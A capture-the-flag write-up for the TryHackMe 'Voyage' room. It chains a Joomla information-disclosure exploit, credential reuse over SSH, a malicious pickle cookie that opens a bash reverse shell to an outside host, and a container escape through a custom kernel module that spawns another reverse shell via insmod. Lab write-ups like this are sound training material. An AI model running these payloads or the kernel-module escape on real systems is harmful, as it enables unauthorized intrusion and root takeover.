Voyage - THM
This is the writeup for the TryHackMe medium difficulty room called Voyage .
The task states that we are going to tackle with containers. Probably a couple of Docker containers.
Recon
CMD: nmap -sS -sV -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-30 16:34 CEST
Nmap scan report for 10.10.230.186
Host is up (0.041s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.07 seconds
From the nmap scan we can conclude that there are two SSH services running on ports 22 and 2222. And there is also a webserver running on port 80.
Using the browser addon Wappalyzer we can see that the website is running Joomla.
CMD: joomscan -u http://$IP -ec
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://10.10.230.186 ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.7
After searching for Joomla exploits on Exploit DB we can find an Unauthenticated Information Disclosure Vulnerability.
Exploitation
CMD: ruby exploit.rb http://$IP
Users
[377] root (root) - mail@tourism.thm - Super Users
Site info
Site name: Tourism
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: root
DB password: /The password/
DB name: joomla_db
DB prefix: ecsjh_
DB encryption 0
Running the exploit reveals the database credentials.
We cannot access the database from outside but we can test these credentials on the already found SSH services.
The SSH service running on port 2222 allows us to login with the found credentials.
Escaping the Container
After running linpeas.sh
we notice that we are in a docker container and nmap is already installed.
CMD: nmap -sV -p- 192.168.100.*
Nmap scan report for ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1)
Host is up (0.0000050s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
5000/tcp open tcpwrapped
...
Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.0000050s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
5000/tcp open upnp?
...
Nmap scan report for f5eb774507f2 (192.168.100.10)
Host is up (0.0000040s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Analyzing the scan we can see that there is an interesting service running on port 5000 which is only accessible from inside the network.
CMD: ssh -L 5000:192.168.100.12:5000 -p 2222 root@$IP
By using SSH local port forwarding we can access the service running on port 5000 of the host.
We don’t really need to get login credentials because no matter what we enter we get redirected to the dashboard page.
Carefully looking through the page we find no obvious vulnerabilities but the cookie we get after the login seems suspicious.
After a bit of googling we find out that the cookie is a hex encoded Python object which was serialized using the pickle library.
CMD: xxd -r -ps session_data > session_data.pkl
import pickle
file = open("session_data.pkl", "rb")
print(pickle.load(file))
Reversing the hex encoded string and deserializing it gives us the following object.
{ "user": "admin", "revenue": "85000" }
Let’s try to modify the values, serialize it, hex encode it and replace the session_data cookie.
import pickle
object = {'user': 'superadmin', 'revenue': '9999999'}
print(pickle.dumps(object).hex())
It seems that the website is vulnerable to insecure deserialization.
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ("/bin/bash -c '/bin/bash -i 5<> /dev/tcp/10.14.99.147/9998 0<&5 1>&5 2>&5'")
return os.system, (cmd,)
print(pickle.dumps(RCE()).hex())
The pickle library is also vulnerable to remote code execution.
So we can get a reverse shell by creating a malicious cookie.
CMD: nc -lvnp 9998
listening on [any] 9998 ...
connect to [10.14.99.147] from (UNKNOWN) [10.10.230.186] 56296
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d221f7bc7bf8:/finance-app#
After starting a netcat listener we get a shell back.
The user FLAG is in the root directory of the machine.
Escaping the 2nd Container
In the root directory we notice a bunch of interesting files.
root@d221f7bc7bf8:~# ls -la
ls -la
total 144
drwx------ 1 root root 4096 Sep 30 15:49 .
drwxr-xr-x 1 root root 4096 Jun 26 18:36 ..
-rw-r--r-- 1 root root 137 Jun 25 14:48 .Module.symvers.cmd
-rw------- 1 root root 446 Jun 26 18:37 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 3 root root 4096 Sep 30 15:49 .gnupg
drwxr-xr-x 3 root root 4096 Jun 24 12:21 .local
-rw-r--r-- 1 root root 86 Jun 25 14:48 .modules.order.cmd
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 163 Jun 25 14:48 .revshell.ko.cmd
-rw-r--r-- 1 root root 120 Jun 25 14:48 .revshell.mod.cmd
-rw-r--r-- 1 root root 45792 Jun 25 14:48 .revshell.mod.o.cmd
-rw-r--r-- 1 root root 44610 Jun 25 14:48 .revshell.o.cmd
-rw-r--r-- 1 root root 38 Jun 24 15:17 user.txt
The file .revshell.ko.cmd
suggests that there is a kernel module exploit available which can give us a reverse shell on the host machine.
Running linpeas.sh
again shows us that /proc
is mounted to this Docker container so the host and the container runs on the same kernel.
Interesting files mounted ........
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/latency_stats type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
It also shows interesting capabilities like the cap_sys_module.
Dangerous capabilities .........
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
Using these two combined we can write our own kernel modules and add it to the host machine’s kernel.
Creating the kernel module
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static char *cmd_argv[] = {
"/bin/bash",
"-c",
"/bin/bash -i 5<> /dev/tcp/10.14.99.147/9999 0<&5 1>&5 2>&5 ",
NULL
};
static char *cmd_envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
static int kernelmod_init(void)
{
int ret;
ret = call_usermodehelper(cmd_argv[0], cmd_argv, cmd_envp, UMH_WAIT_PROC);
return 0;
}
static void kernelmod_exit(void) {
return;
}
module_init(kernelmod_init);
module_exit(kernelmod_exit);
obj-m += kernelmodule.o
all:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules
clean:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
CMD: ls -la
ls -la
total 16
drwxrwxrwt 1 root root 4096 Sep 30 17:16 .
drwxr-xr-x 1 root root 4096 Jun 26 18:36 ..
-rw-r--r-- 1 root root 155 Sep 30 17:06 Makefile
-rw-r--r-- 1 root root 585 Sep 30 17:16 kernelmodule.c
CMD: make
make
make -C /lib/modules/6.8.0-1030-aws/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws'
warning: the compiler differs from the one used to build the kernel
The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
You are using: gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
CC [M] /tmp/kernelmodule.o
MODPOST /tmp/Module.symvers
CC [M] /tmp/kernelmodule.mod.o
LD [M] /tmp/kernelmodule.ko
BTF [M] /tmp/kernelmodule.ko
Skipping BTF generation for /tmp/kernelmodule.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'
After compiling and starting a listener, we can add our kernelmodule.ko
to the host kernel using:
CMD: insmod kernelmodule.ko
Finally, we get our shell on the real host machine!
CMD: nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.14.99.147] from (UNKNOWN) [10.10.230.186] 39438
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@tryhackme-2404:/#
The root FLAG is in the /root
directory!